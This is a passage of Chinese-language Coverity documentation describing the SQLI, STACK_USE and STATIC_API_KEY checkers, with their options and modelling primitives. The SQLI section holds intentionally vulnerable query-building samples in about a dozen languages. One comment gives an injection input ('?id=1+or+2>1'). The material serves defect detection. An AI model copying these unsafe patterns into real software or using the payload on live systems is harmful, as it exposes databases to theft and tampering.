SQLI 查找为将字符串解译为 SQL 的方法提供可能处于攻击者控制之下的参数的很多情况。

如果将来自不可信来源的字符串解译为 SQL，可能允许恶意用户泄露（即窃取）、损坏或销毁所查询数据库中的信息。此错误通常是由于使用不安全的方法构造 SQL 语句造成的：例如，将未净化的字符串直接连接到查询，或者通过不正确的方式净化不可信的输入。

默认情况下，如果值来自网络（通过套接字或 HTTP 请求），SQLI 检查器会将值视为被污染。该检查器还可配置为将来自文件系统或数据库的值视为被污染（请参阅 Section 4.295.4，“选项”）。

有关 SQL 注入的风险和后果的更多信息，请参阅 Chapter 6,。有关此检查器发现的潜在安全漏洞的详细信息，请参阅 Section 6.1.4.1，“SQL 注入 (SQLI)”。

安全检查器启用：该选项用于与其他安全检查器一起启用 SQLI 检查，具体因语言而异。通常，使用 cov-analyze 命令的 --webapp-security 或 --android-security 选项。

- 对于 C/C++ 或 Objective-C/C++，请使用 --security 选项。
- 对于 C#、JavaScript、PHP、Python、TypeScript 或 Visual Basic，请使用 --webapp-security 选项。
- 对于 Java，也可以使用 --android-security 或 --webapp-security 选项。
- 对于 Go、Kotlin、Ruby 和 Swift，默认启用 SQLI。

这是被污染的数据检查器。有关更多信息，请参阅“Section 6.8，“被污染的数据概述””。

4.295.2. 缺陷剖析

SQLI 缺陷说明了不可信（被污染）数据流入执行 SQL 语句的数据库函数或流入 SQL 查询的数据流路径。在此处开始，该数据流入 SQL（或者 HQL 或类似项）解释器，因而容易遭到攻击。

Java、C#、Visual Basic

路径从不可信数据源（例如来自网络套接字的输入或返回 HTTP 请求参数或返回使用此类数据填充框架的函数的参数的方法调用）开始。在此处开始，缺陷中的各种事件说明了此被污染数据如何在程序中流动，例如从函数调用的参数到被调用函数的参数。该缺陷的主要事件（通常是 UI 中显示的第一项）说明了连接到 SQL 字符串的被污染数据，但在某些情况下，主要事件说明了直接流入 SQL 解释器的被污染数据。该路径的最终部分表示流入 SQL 相关函数或 SQL 解释器的数据。

Go、Kotlin、JavaScript

主要事件说明了不可信数据（例如来自 HTTP 请求或网络套接字的数据）流入数据库 API 的位置。支持事件说明了不可信数据的来源。例如，不可信数据可能通过被调用方返回，或通过框架传递进来。其他支持事件说明了不可信数据流入数据库 API 的过程。这些事件可能会跟踪整个函数调用中的不可信数据。第二组事件（如果存在）显示其他上下文信息。

4.295.3. 示例

本部分提供了一个或多个 SQLI 示例。

4.295.3.1. C、C++

在下面的示例中，来自网络的被污染数据以不安全的方式用作了 SQL 语句中的查询。在 `if` 语句的第三行发生缺陷。

```
void runUserQuery(sqlite3 *db) {
    char user_query[128];
    if (recv(socket, user_query, sizeof(user_query), 0) > 0) {
        char *error_msg;
        int ret = sqlite_exec(db, user_query, 0, 0, &error_msg);
    }
}
```

4.295.3.2. C#

在下面的示例中，通过不安全的方式将来自 HTTP 请求的被污染数据连接到 SQL 查询。

```
using System.Data;
using System.Data.SqlClient;
using System.Web;

public class SQLI {

    string connection;
    HttpRequest req;
    DataSet dataSet;

    public void test() {
        var da = new SqlDataAdapter("SELECT * FROM users WHERE name = "
            + req["name"], connection); // Defect
    }
}
```

```
        da.Fill(dataSet);
    }
}
```

4.295.3.3. Go

在下面的示例中，通过不安全的方式将来自 HTTP 请求的被污染数据连接到 SQL 查询，并且该查询将被执行。针对 db.Query 语句显示此缺陷。

```
package main

import "database/sql"
import "net/http"
import "github.com/julienschmidt/httprouter"

func sqli(w http.ResponseWriter, req *http.Request, params httprouter.Params) {
    name := params.ByName("name")
    db, err := sql.Open("...", "...")
    defer db.Close()
    db.Query("SELECT * FROM users WHERE name = " + name) //defect here
}
```

4.295.3.4. Java

有关示例，请参阅Section 6.1.4.1，“SQL 注入 (SQLi)”。

4.295.3.5. JavaScript

下面的代码示例说明了使用 Express 框架的易受攻击 Node.js Web 应用程序。

```
const express = require("express");
const app = express();

function getConnectionConfig() {
    //...
}

app.get("/", 
    function run(req, res, next) { // Defect
        const id = req.query.id;
        const query = `select * from User where userid=${id}`;
        const sql = require("mssql");

        sql.connect(getConnectionConfig()).then(
            function() {
                new sql.Request().query(query).then(
                    function (recordSet) {
                        //...
                    });
            });
        res.send("Done");
    });
}
```

```

    });
app.listen(1337, function() {
  console.log("Express listening...");
});
// example exploit: http://127.0.0.1:1337/?id=1+or+2>1

```

4.295.3.6. Kotlin

在下面的示例中，活动在创建时将打开其数据库。在其第一个查询中，它查询 theme.Id 配置设置。此调用不易受到攻击，但会从数据库中加载被污染的数据并将其存储在变量 themeId 中。第二个查询容易受到 SQL 注入的攻击，因为查询字符串是使用 themeId 构建的，然后用于查询数据库。

```

import android.app.Activity
import android.database.sqlite.SQLiteDatabase
import android.database.sqlite.SQLiteDatabase.OPEN_READONLY
import android.os.Bundle

class SQLIActivity : Activity() {
    override protected fun onCreate(savedInstanceState: Bundle?) {
        val db = SQLiteDatabase.openDatabase("com.synopsys.coverity.example", null,
OPEN_READONLY)
        val themeId = db.rawQuery("SELECT theme.ID from CONFIG",
arrayOf<String>()).getString(0)
        val assets = db.rawQuery("SELECT * FROM THEME WHERE themeId = $themeId",
arrayOf<String>())
    }
}

```

4.295.3.7. PHP

下面的代码执行通过连接来自 HTTP 请求的被污染数据构建的 SQL 查询。

```

$table = $_GET['table'];
$conn->query("SELECT * FROM $table");

```

4.295.3.8. Python

下面的 Python 代码通过连接来自 HTTP 请求的被污染数据并将其传递给 SQL 解释器来构建查询。

```

from django.conf.urls import url

def build_query(request):
    queryString = "SELECT id, name FROM " + request.body + " WHERE 1"

urlpatterns = [
    url(r'^index$', build_query)
]

```

4.295.3.9. Ruby

下面的 Ruby on Rails 示例展示了将 HTTP 请求参数直接内插到 SQL 字符串而不进行参数化的情况。

```
class ExampleController < ApplicationController
  def search
    User.where("name = #{params[:name]}")
  end
end
```

4.295.3.10. Swift

```
import Foundation
import UIKit

func selectUser() {
  var db: OpaquePointer? = nil;

  let fileURL = try! FileManager.default.url(for: .documentDirectory,
in: .userDomainMask, appropriateFor: nil, create: false)
.appendingPathComponent("Database.sqlite")

  if sqlite3_open(fileURL.path, &db) != SQLITE_OK {
    print("error opening database")
  }

  let store = NSUbiquitousKeyValueStore()
  let code: String = "SELECT * from USERS where id = " + store.string(forKey: "id")!
+ " ;"

  if sqlite3_exec(db, code, nil, nil, nil) != SQLITE_OK {
    let errmsg = String(cString: sqlite3_errmsg(db)!)
    print("error : \(errmsg)")
  }
}
```

4.295.3.11. Visual Basic

在下面的示例中，通过不安全的方式将来自 HTTP 请求的被污染数据连接到 SQL 查询。

```
Imports System.Data
Imports System.Data.SqlClient
Imports System.Web

Public Class SQLI

  Dim connection As String
  Dim req As HttpRequest
  Dim dataSet As DataSet

  Public Sub test()
    Dim da = new SqlDataAdapter("SELECT * FROM users WHERE name = " + req("name"),
connection) 'Defect
    da.Fill(dataSet)
  End Sub

```

4.295.4. 选项

本部分描述了一个或多个 SQLI 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `SQLI:distrust_all:<boolean>` - [C、C++、Go、JavaScript、Kotlin、PHP、Python、Swift、TypeScript] 将此选项设置为 true 等同于将此检查器的所有 `trust_*` 检查器选项设置为 false。默认值为 `SQLI:distrust_all:false`。

如果将 cov-analyze 命令的 `--webapp-security-aggressiveness-level` 选项设置为 `high`，则该检查器选项会自动设置为 `true`。（适用于除 C、C++ 之外的所有语言）

如果将 cov-analyze 命令的 `--aggressiveness-level` 选项设置为 `high`，则该检查器选项会自动设置为 `true`。（适用于 C、C++）

- `SQLI:report_nosink_errors:<boolean>` - [C#、Go、Java、JavaScript、Kotlin、PHP、Python、TypeScript、Visual Basic 和 Swift] 将此选项设置为 `true`，会在被污染的数据与似乎是 SQL 查询的字符串连接时报告 SQLI 问题。默认值为 `SQLI:report_nosink_errors:true`。
- `SQLI:trust_command_line:<boolean>` - [C/C++、C#、Go、Java、JavaScript、Kotlin、PHP、Python、Swift、TypeScript 和 Visual Basic] 将此选项设置为 `false` 会导致分析将命令行参数视为被污染。默认值为 `SQLI:trust_command_line:true`。设置此检查器选项会覆盖全局 `--trust-command-line` 和 `--distrust-command-line` 命令行选项。
- `SQLI:trust_console:<boolean>` - [C/C++、C#、Go、Java、JavaScript、Kotlin、PHP、Python、Swift、TypeScript 和 Visual Basic] 将此选项设置为 `false` 会导致分析将来自控制台的数据视为被污染。默认值为 `SQLI:trust_console:true`。设置此检查器选项会覆盖全局 `--trust-console` 和 `--distrust-console` 命令行选项。
- `SQLI:trust_cookie:<boolean>` - [C/C++、C#、Go、Java、JavaScript、Kotlin、PHP、Python、Swift、TypeScript 和 Visual Basic] 将此选项设置为 `false` 会导致分析将来自 HTTP cookie 的数据视为被污染。默认值为 `SQLI:trust_cookie:false`。设置此检查器选项会覆盖全局 `--trust-cookie` 和 `--distrust-cookie` 命令行选项。
- `SQLI:trust_database:<boolean>` - [C/C++、C#、Go、Java、JavaScript、Kotlin、PHP、Python、Swift、TypeScript 和 Visual Basic] 将此选项设置为 `false` 会导致分析将来自数据库的数据视为被污染。默认值为 `SQLI:trust_database:true`。设置此检查器选项会覆盖全局 `--trust-database` 和 `--distrust-database` 命令行选项。
- `SQLI:trust_environment:<boolean>` - [C/C++、C#、Go、Java、JavaScript、Kotlin、PHP、Python、Swift、TypeScript 和 Visual Basic] 将此选项设置为 `false` 会导致分析将来自环境变量的数据视为被污染。默认值为

SQLI:trust_environment:true。设置此检查器选项会覆盖全局 --trust-environment 和 --distrust-environment 命令行选项。

- SQLI:trust_filesystem:<boolean> - [C/C++、C#、Go、Java、JavaScript、Kotlin、PHP、Python、Swift、TypeScript 和 Visual Basic] 将此选项设置为 false 会导致分析将来自文件系统的数据视为被污染。默认值为 SQLI:trust_filesystem:true。设置此检查器选项会覆盖全局 --trust-filesystem 和 --distrust-filesystem 命令行选项。
- SQLI:trust_http:<boolean> - [C/C++、C#、Go、Java、JavaScript、Kotlin、PHP、Python、Swift、TypeScript 和 Visual Basic] 将此选项设置为 false 会导致分析将来自 HTTP 请求的数据视为被污染。默认值为 SQLI:trust_http:false。设置此检查器选项会覆盖全局 --trust-http 和 --distrust-http 命令行选项。
- SQLI:trust_http_header:<boolean> - [C/C++、C#、Go、Java、JavaScript、Kotlin、PHP、Python、Swift、TypeScript 和 Visual Basic] 将此选项设置为 false 会导致分析将来自 HTTP 头文件的数据视为被污染。默认值为 SQLI:trust_http_header:false。设置此检查器选项会覆盖《Coverity 命令说明书》中的全局 --trust-http-header 和 --distrust-http-header 命令行选项。
- SQLI:trust_js_client_cookie:<boolean> - [JavaScript 和 TypeScript] 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中的 cookie 的数据，例如来自 document.cookie。此选项之前称为 trust_client_cookie。默认值为 SQLI:trust_js_client_cookie:true。
- SQLI:trust_js_client_external:<boolean> - [JavaScript 和 TypeScript] 如果将此选项设置为 false，则分析不会信任来自 XMLHttpRequest 的响应的数据或客户端 JavaScript 代码中的类似数据。请注意：此选项之前称为 trust_external。默认值为 SQLI:trust_js_client_external:false。
- SQLI:trust_js_client_html_element:<boolean> - [JavaScript 和 TypeScript] 如果将此选项设置为 false，则分析不会信任来自 HTML 元素中用户输入的数据，例如客户端 JavaScript 代码中的 textarea 和 input 元素。默认值为 SQLI:trust_js_client_html_element:true。
- SQLI:trust_js_client_http_header:<boolean> - [JavaScript 和 TypeScript] 如果将此选项设置为 false，则分析不会信任来自 XMLHttpRequest 的响应的 HTTP 响应头文件的数据或客户端 JavaScript 代码中的类似数据。默认值为 SQLI:trust_js_client_http_header:true。
- SQLI:trust_js_client_http_referer:<boolean> - [JavaScript 和 TypeScript] 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中 referer HTTP header (来自 document.referrer) 的数据。默认值为 SQLI:trust_js_client_http_referer:false。
- SQLI:trust_js_client_other_origin:<boolean> - [JavaScript 和 TypeScript] 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中其他框架内容或其他源的数据，例如来自 window.name。默认值为 SQLI:trust_js_client_other_origin:false。
- SQLI:trust_js_client_url_query_or_fragment:<boolean> - [JavaScript 和 TypeScript] 如果将此选项设置为 false，则分析不会信任来自客户端 JavaScript 代码中查询

或 URL 的片段部分的数据，例如来自 `location.hash` 或 `location.query`。默认值为 `SQLI:trust_js_client_url_query_or_fragment:false`。

- `SQLI:trust_mobile_other_app:<boolean>` - [仅限 Java、JavaScript、Kotlin、Swift、TypeScript] 将此选项设置为 `true` 会导致分析信任以下数据：从不需要获取权限即可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 `SQLI:trust_mobile_other_app:false`。设置此检查器选项会覆盖全局 `--trust-mobile-other-app` 和 `--distrust-mobile-other-app` 命令行选项。请注意，为 PHP 和 Python 启用此选项不会导致检测到较少的缺陷，因为这些语言目前没有返回不可信移动数据的已知函数。
- `SQLI:trust_mobile_other_privileged_app:<boolean>` - [仅限 Java、JavaScript、Kotlin、Swift、TypeScript] 将此选项设置为 `false` 会导致分析将以下数据视为被污染：从需要获取权限才可与当前应用程序组件通信的任何移动应用程序收到的数据。默认值为 `SQLI:trust_mobile_other_privileged_app:true`。设置此检查器选项会覆盖全局 `--trust-mobile-other-privileged-app` 和 `--distrust-mobile-other-privileged-app` 命令行选项。请注意，为 PHP 和 Python 启用此选项不会导致检测到较少的缺陷，因为这些语言目前没有返回不可信移动数据的已知函数。
- `SQLI:trust_mobile_same_app:<boolean>` - [仅限 Java、JavaScript、Kotlin、Swift、TypeScript] 将此选项设置为 `false` 会导致分析将从同一移动应用程序收到的数据视为被污染。默认值为 `SQLI:trust_mobile_same_app:true`。设置此检查器选项会覆盖全局 `--trust-mobile-same-app` 和 `--distrust-mobile-same-app` 命令行选项。请注意，为 PHP 和 Python 启用此选项不会导致检测到较少的缺陷，因为这些语言目前没有返回不可信移动数据的已知函数。
- `SQLI:trust_mobile_user_input:<boolean>` - [仅限 Java、JavaScript、Kotlin、Swift、TypeScript] 将此选项设置为 `true` 会导致分析将从用户输入获取的数据视为未被污染。默认值为 `SQLI:trust_mobile_user_input:false`。设置此检查器选项会覆盖全局 `--trust-mobile-user-input` 和 `--distrust-mobile-user-input` 命令行选项。请注意，为 PHP 和 Python 启用此选项不会导致检测到较少的缺陷，因为这些语言目前没有返回不可信移动数据的已知函数。
- `SQLI:trust_network:<boolean>` - [C/C++、C#、Go、Java、JavaScript、Kotlin、PHP、Python、Swift、TypeScript 和 Visual Basic] 将此选项设置为 `false` 会导致分析将来自网络的数据视为被污染。默认值为 `SQLI:trust_network:false`。设置此检查器选项会覆盖全局 `--trust-network` 和 `--distrust-network` 命令行选项。
- `SQLI:trust_rpc:<boolean>` - [C/C++、C#、Go、Java、JavaScript、Kotlin、PHP、Python、Swift、TypeScript 和 Visual Basic] 将此选项设置为 `false` 会导致分析将来自 RPC 请求的数据视为被污染。默认值为 `SQLI:trust_rpc:false`。设置此检查器选项会覆盖全局 `--trust-rpc` 和 `--distrust-rpc` 命令行选项。
- `SQLI:trust_servlet:<boolean>` - [已废弃] 自版本 7.7.0 起此选项已废弃，并将在未来发行版中移除。转为使用 `trust_http`。
- `SQLI:trust_system_properties:<boolean>` - [C/C++、C#、Go、Java、JavaScript、Kotlin、PHP、Python、Swift、TypeScript 和 Visual Basic]

Basic] 将此选项设置为 false 会导致分析将来自系统属性的数据视为被污染。默认值为 SQLI:trust_system_properties:true。设置此检查器选项会覆盖全局 --trust-system-properties 和 --distrust-system-properties 命令行选项。

请参阅《Coverity 命令说明书》中 cov-analyze 的相应命令行选项[¶](#)。

4.295.5. 模型和注解

4.295.5.1. C、C++、Objective C、Objective C++

使用 cov-make-library，您可以使用以下 Coverity Analysis 原语为 SQLI 创建自定义模型。

以下模型表明 custom_db_command() 对于参数 command 是污染数据消费者（类型为 SQL）：

```
void custom_db_command(const char *command)
{ __coverity_taint_sink__(command, SQL); }
```

您可以使用 __coverity_mark_pointee_as_tainted__ 建模原语为污染源建模。例如，以下模型表明，packet_get_string() 从网络返回了被污染的字符串：

```
void *packet_get_string() {
    void *ret;
    __coverity_mark_pointee_as_tainted__(ret, TAIN_TYPE_NETWORK);
    return ret;
}
```

下面的模型表明，当 s 参数无效时（因此不应再将其视为被污染），custom_sanitize() 会返回 true。如果 s 参数无效，custom_sanitize() 会返回 false，并且分析会继续将 s 记录为被污染：

```
bool custom_sanitize(const char *s) {
    bool ok_string;
    if (ok_string == true) {
        __coverity_mark_pointee_as_sanitized__(s, SQL);
        return true;
    }
    return false;
}
```

作为库模型的替代，您还可以在紧接在目标函数之前的源代码注释中使用以下函数注解标记：

- +taint_sanitize：指明函数净化字符串参数。例如，下面的代码指明 custom_sanitize() 净化了其 s 字符串参数：

```
// coverity[ +taint_sanitize : arg-*0 ]
void custom_sanitize(char* s) {...}
```

- +taint_source（没有参数）：指明函数返回被污染的字符串数据。例如，下面的代码指明 packet_get_string() 返回了被污染的字符串值：

```
// coverity[ +taint_source ]
```

```
char* packet_get_string() { ... }
```

- `+taint_source` (含有参数) : 指明函数污染指定字符串参数的内容。例如 , 下面的代码指明 `custom_string_read()` 污染了其 `s` 参数的内容 :

```
// coverity[ +taint_source : arg-0 ]
void custom_string_read(char* s, int size, FILE* stream) { ... }
```



Note

`taint_source` 函数注解与以下这些检查器一起运行 :
`FORMAT_STRING_INJECTION`、`HEADER_INJECTION`、`OS_CMD_INJECTION`、`PATH_MANIPULATION`、`SQL_INJECTION` 和 `XPATH_INJECTION`。

您可以使用以下函数注解标记忽略函数模型 :

- `-taint_sanitize` : 指明函数不净化字符串参数。例如 , 下面的代码指明 `custom_sanitize()` 不净化其 `s` 字符串参数 :

```
// coverity[ -taint_sanitize : arg-*0 ]
void custom_sanitize(char* s) { ... }
```

- `-taint_source` (没有参数) : 指明函数不返回被污染的字符串数据。例如 , 下面的代码指明 `packet_get_string()` 不返回被污染的字符串值 :

```
// coverity[ -taint_source ]
char* packet_get_string() { ... }
```

- `-taint_source` (含有参数) : 指明函数不污染指定字符串参数的内容。例如 , 下面的代码指明 `custom_string_read()` 不污染其 `s` 参数的内容 :

```
// coverity[ -taint_source : arg-0 ]
void custom_string_read(char* s, int size, FILE* stream) { ... }
```

4.295.5.2. C# 和 Visual Basic

C# 和 Visual Basic 模型和原语 (请参阅 Section 5.2, “C# 或 Visual Basic 中的模型和注解”) 可以在以下情况下改进通过此检查器执行的分析 :

如果分析无法识别数据消费者 (属于被作为 SQL 或 HQL 查询执行的方法参数) , 则可能会发生漏报。被污染的数据不能流入此类数据消费者 , 因为攻击者可能会攻击数据库。如果 SQLI 检查器无法将您程序中的方法参数识别为数据消费者 , 您可以按此方式对其建模。有关更多信息 , 请参阅 Section 5.2.1.3, “C# 和 Visual Basic 原语”中的“`Security.SqlSink(Object)`”部分。例如 , 下面的模型可让 SQLI 检查器在被污染的数据流入 `MyClass.ExecuteSql` 方法的查询参数时报告缺陷 :

```
public class MyClass {
    void ExecuteSql(String query, boolean somethingElse, String unrelated) {
        Coverity.Primitives.Security.SqlSink(query);
    }
}
```

```
}
```

4.295.5.3. Go

在 Go 中，原语在程序包 `synopsys.com/coverity-primitives/primitives` 中定义，并使用 `Interface` 作为参数；例如：

```
import . "synopsys.com/coverity-primitives/primitives"

func injecting_into_sql_function(data interface{}) {
    SqlSink(data);
}
```

如果 `injecting_into_sql_function()` 的参数来自不可信来源，`SqlSink()` 原语将指示 SQLI 报告缺陷。

4.295.5.4. Java

Java 模型和注解（请参阅Section 5.4，“Java 模型和注解”）可以在以下情况下改进通过此检查器执行的分析：

- 如果分析因为它未将某些数据视为被污染而漏报了缺陷，请参阅关于 `@Tainted` 注解的讨论，并参阅Section 5.4.1.3，“为不可信（被污染的）数据源建模”了解关于将方法返回值、参数和字段标记为被污染的说明。另请参阅Section 5.4.1.5，“添加字段被污染或未被污染的断言”。
- 如果分析由于它将字段视为被污染而发生误报，并且您认为被污染的数据不会流入该字段，请参阅。
- 如果分析无法识别数据消费者（属于被作为 SQL、HQL 或 JPQL 查询执行的方法参数），则可能会发生漏报。被污染的数据不能流入此类数据消费者，因为攻击者可能会攻击数据库。如果 SQLI 检查器无法将您程序中的方法参数识别为数据消费者，您可以按此方式对其进行建模。有关更多信息，请参阅“Section 5.4.1.4，“为不能流入被污染数据的方法（数据消费者）建模””。例如，下面的模型可让 SQLI 检查器在被污染的数据流入 `MyClass.executeSql` 方法的查询参数时报告缺陷：

```
public class MyClass {
    void executeSql(String query, boolean somethingElse, String unrelated) {
        com.coverity.primitives.SecurityPrimitives.sql_sink(query);
    }
}
```

另请参阅Section 5.4.1.5，“添加字段被污染或未被污染的断言”。

4.296. STACK_USE

质量检查器

4.296.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

STACK_USE 查找总体堆栈使用量超过可配置的最大数量（默认值为 250,000 字节），或者单个堆栈使用量超过可配置的最大数量（默认值为 10,000 字节）的很多情况。它不会计算通过间接方式（函数指针）和递归直接或间接获得的堆栈使用量。但可以选择使用这些构造的报告实例帮助进行手动审核。该检查器仅适用于在可用堆栈空间有限（如果超过堆栈最大数量可能导致从错误结果到软件或系统崩溃的严重问题）的嵌入式环境中运行的代码。

STACK_USE 可对大部分编译器在最糟糕的堆栈分配情况下会执行的操作进行粗略建模。例如，它不会断言何时可使用寄存器保存堆栈空间。假设在输入函数后，每个本地声明会立即占用空间。该检查器检查每个函数的堆栈空间占用情况，即每个函数调用该设置的最大数量并将其添加到总体基本函数使用量中。该函数的基本堆栈使用量不依赖该函数中的任何执行路径。

虽然会受到影响，但 **STACK_USE** 不会将函数的溢出缺陷直接或间接传递到其调用方。溢出缺陷首次出现时会被报告。

由于此检查器的需求是专门的，因此不会自动运行。要启用此检查器，请使用分析选项 `--enable STACK_USE`。

某些编译器可能对堆栈分配执行意外操作。例如，某些版本的 `gcc` 似乎会根据其中最严格的对齐条件（而不是体系结构的最低对齐边界）对齐函数中的所有基础分配。这种差异就是要在全局为压栈使用量和对齐假设指定控制的原因；这应该足以对估计的最糟糕情况建模。

默认禁用：`STACK_USE` 默认禁用。要启用它，您可以在 `cov-analyze` 命令中使用 `--enable` 选项。



Note

要报告任何需要关注的事项，需要配置 `STACK_USE` 选项。请参阅“[Section 4.296.3, “选项”](#)”。

4.296.2. 示例

本部分提供了一个或多个 `STACK_USE` 示例。

下面的示例在两个代码列表中显示。请注意，显示的 4 个函数中的每一个函数都使用了 16 字节的压栈空间。`stack_use_callee()` 的总基础堆栈使用量为 1,044 字节 ($16 + 1,024 + 4$)。`stack_use_callee2()` 的总基础堆栈使用量为 16,400 字节。`stack_use_callee3()` 的总基础堆栈使用量为 20,016 字节。

```
void stack_use_callee1(void) {
    // 16 bytes for prologue of each function

    char buf[1024];    // 1024 bytes of stack usage
    char c;            /* 4 bytes of stack usage,
                           1 byte promoted to 4
                           byte alignment requirement */
}

void stack_use_callee2(void) {
    char buf[150000];  // Exceeds max single base use of 10000 bytes
}

void stack_use_callee3(void) {
```

```
char buf[200000]; // Exceeds max single base use of 10000 bytes
}
```

对于 `stack_use_example()`，总基础堆栈使用量为 100516。输入该函数即会占用此数量。此函数占用的堆栈空间总量为基础使用量加上任何被调用方的最大使用量： $100516 + 200016 = 300532$ 字节。此函数在对 `stack_use_callee2()` 和 `stack_use_callee3()` 的两个调用中溢出了堆栈。请注意，`stack_use_example()` 的任何调用方都不会被报告为溢出堆栈，除非它们在此调用之外还溢出了堆栈。溢出缺陷只会在实际发生时被报告。

```
void stack_use_example(int i) {
    char buf[100000]; // Exceeds max single base usage of 10000 bytes

    if (i == 1) {
        stack_use_callee1(); // Temporarily consumes (1024 + 4 + 16)
                             // = 1044 bytes
    } else if (i == 2) {
        stack_use_callee2(); // Stack overflow: (150016 + 100516) > 250000
    } else {
        stack_use_callee3(); // Stack overflow: (200016 + 100516) > 250000
    }

    if (i != 4) {
        char another_buf[500]; // 500 bytes of stack usage.
                               // Total base stack usage for this function: 100516
    }
}
```

4.296.3. 选项

本部分描述了一个或多个 `STACK_USE` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `STACK_USE:alignment_bytes:<num>` - 此选项为堆栈中的对象指定最低分配对齐。所有堆栈分配被提升为此边界的倍数。它必须是 2 的幂（允许为 1）。如果压栈使用量未显式指定，它也会被提升为对齐边界最接近的倍数。默认值为 `STACK_USE:alignment_bytes:4`
- `STACK_USE:max_single_base_use_bytes:<bytes>` - 此选项用于指定允许对单个堆栈分配（例如，一个本地声明）使用的最大字节数；如果超过该数量，该分配本身将被报告为缺陷。任何指定的值都会被提升为对齐边界的倍数。默认值为 `STACK_USE:max_single_base_use_bytes:10000`

本地变量（在功能级别或更小范围内）在堆栈上为它们保留了空间。与堆空间相比，此堆栈空间受到限制。例如，Windows 可执行文件的默认堆栈大小仅为 1Mb。因此，如果尝试声明 250k 4 字节整数的本地数组，则该程序将崩溃并发生堆栈溢出错误。如果考虑到任何函数调用还占用了一些堆栈空间（函数参数和返回地址被压入堆栈），即使没有 250k 4 字节整数的本地数组，一些嵌套调用也可能耗尽堆栈空间。

选项 `STACK_USE:max_single_base_use_bytes:<bytes>` 和 `STACK_USE:max_total_use_bytes` 告诉检查器何时报告缺陷：单个分配（单个变量）的阈值和总分配的阈值。

- `STACK_USE:max_total_use_bytes:<num>` - 此选项用于指定允许对总堆栈分配使用的最大字节数；如果超过该数量，该集合分配将被报告为缺陷。任何指定的值都会被提升为对齐边界的倍数。默认值为 `STACK_USE:max_total_use_bytes:250000`
- `STACK_USE:note_direct_recursion:<boolean>` - 当此选项为 `true` 时，该检查器将在发现间接调用自身的函数时报告缺陷。该检查器不会在其针对递归调用的计算中包括任何堆栈使用量。默认值为 `STACK_USE:note_direct_recursion:false`
- `STACK_USE:note_indirection:<boolean>` - 当此选项为 `true` 时，该检查器将在发现通过间接方式（函数指针）进行函数调用时报告缺陷。该检查器不会在其针对间接调用的计算中包括任何堆栈使用量。默认值为 `STACK_USE:note_indirection:false`
- `STACK_USE:note_indirect_recursion:<boolean>` - 当此选项为 `true` 时，该检查器会将它发现的每一项间接递归报告为一个缺陷。该检查器不会在其针对递归调用的计算中包括任何堆栈使用量。默认值为 `STACK_USE:note_direct_recursion:false`
- `STACK_USE:note_max_use:<boolean>` - 当此选项为 `true` 时，该检查器会针对在代码库中具有最高堆栈使用量的函数报告缺陷。默认值为 `STACK_USE:note_max_use:false`

未实现函数、虚函数和函数指针的堆栈使用量不包括在此选项中，因此实际堆栈使用量可能更高。此外，此选项不适用于递归函数或增量分析。

- `STACK_USE:prologue_use_bytes:<bytes>` - 此选项用于指定向具有任何其他堆栈使用量的任何函数（例如本地声明）中添加的堆栈使用量。该值必须是零或 2 的幂（即对齐边界的倍数）。如果对齐边界未显式指定并且不适用于指定的压栈使用量，则对齐边界将被设置为压栈使用量的一半或 1（取其中较大者）。默认值为 `STACK_USE:prologue_use_bytes:16`
- `STACK_USE:reuse_stack:<boolean>` - 当此选项为 `true` 时，该检查器会假设堆栈空间将被非重叠范围重复使用。是否为 `true` 取决于编译器和优化设置。默认值为 `STACK_USE:reuse_stack:false`

例如，在下面的代码列表中，堆栈使用量估计为 200（将选项设置为 `true` 时）和 300（将选项设置为 `false` 时）。

```
{
    char x[100];
}
{
    char x[200];
}
```

4.296.4. 模型

`STACK_USE` 检查器支持名为 `__coverity_stack_depth__(max_memory)` 的原语。在源代码中使用此原语可强制 `STACK_USE` 在函数（及其被调用方）使用的内存量（以字节为单位）超过常量整数 `max_memory` 指定的数量时报告缺陷。

此功能适用于使用不同堆栈大小创建线程的情况。该原语应该用于线程入口点函数。

在下面的示例中，该检查器默认不报告缺陷，因为 $16+1024+512 + 16+20000$ 小于默认限制 250000：

请注意，此原语是从您的源代码中调用，而不是从模型源中调用。

```
int condition;
void stack_use_example(void) {
    char buf[1024];

    if (condition) {
        stack_use_callee1();

    } else if (condition) {
        stack_use_callee2();

    } else {
        stack_use_callee3();
    }

    if (condition) {
        char another_buf[512];
    }
}
```

如果您向代码中添加了以下内容，该检查器会将此类代码报告为缺陷：

```
#if __COVERITY__
__coverity_stack_depth__(16+1024+512 + 16+20000 - 1);
#endif
```

请注意，此原语不会被本机编译器使用，因此必须对其进行声明，并指定条件编译器元素，如Section 5.1.6.1.16，“”所示。

4.296.5. 事件

本部分描述了 STACK_USE 检查器生成的一个或多个事件。

- `stack_use_local_overflow` - 单个本地变量超过了配置的最大堆栈大小（默认 1,024 字节）。
- `stack_use_local` - 每个增加当前程序点的累积堆栈使用量的变量通过此事件表示。如果单个变量的堆栈使用量计算有误，则会抑制由此事件引起的实例。
- `stack_use_return_overflow` - 如果来自一个函数的返回值被用作第二个函数的参数，将会增加被调用方内部的堆栈大小。如果返回值溢出堆栈，则会报告此事件。
- `stack_use_return` - 跟踪每个被直接用作参数的返回值导致的堆栈大小增加。如果任何求和不正确，则抑制此事件。

- `stack_use_argument_overflow` - 函数参数的总长度将溢出堆栈。
- `stack_use_unknown` - 堆栈使用量无法明确确定，因此应该进行审计。如果审核表明堆栈使用量正确无误，则抑制此事件。
- `stack_use_overflow` - 堆栈中的多个变量和调用框架的累积超过配置的最大值。
- `stack_use_callee_max` - 函数的调用堆栈大小加上调用方的调用堆栈大小超过了配置的最大值。

4.297. STATIC_API_KEY

安全性

4.297.1. 概述

支持的语言：. Go

`STATIC_API_KEY` 检查器查找返回静态、未过期令牌的 `oauth2.StaticTokenSource()` 函数，攻击者可以窃取该令牌并绕过身份验证。

默认启用：`STATIC_API_KEY` 检查器默认启用。

4.297.2. 示例

本部分提供了一个或多个 `STATIC_API_KEY` 示例。

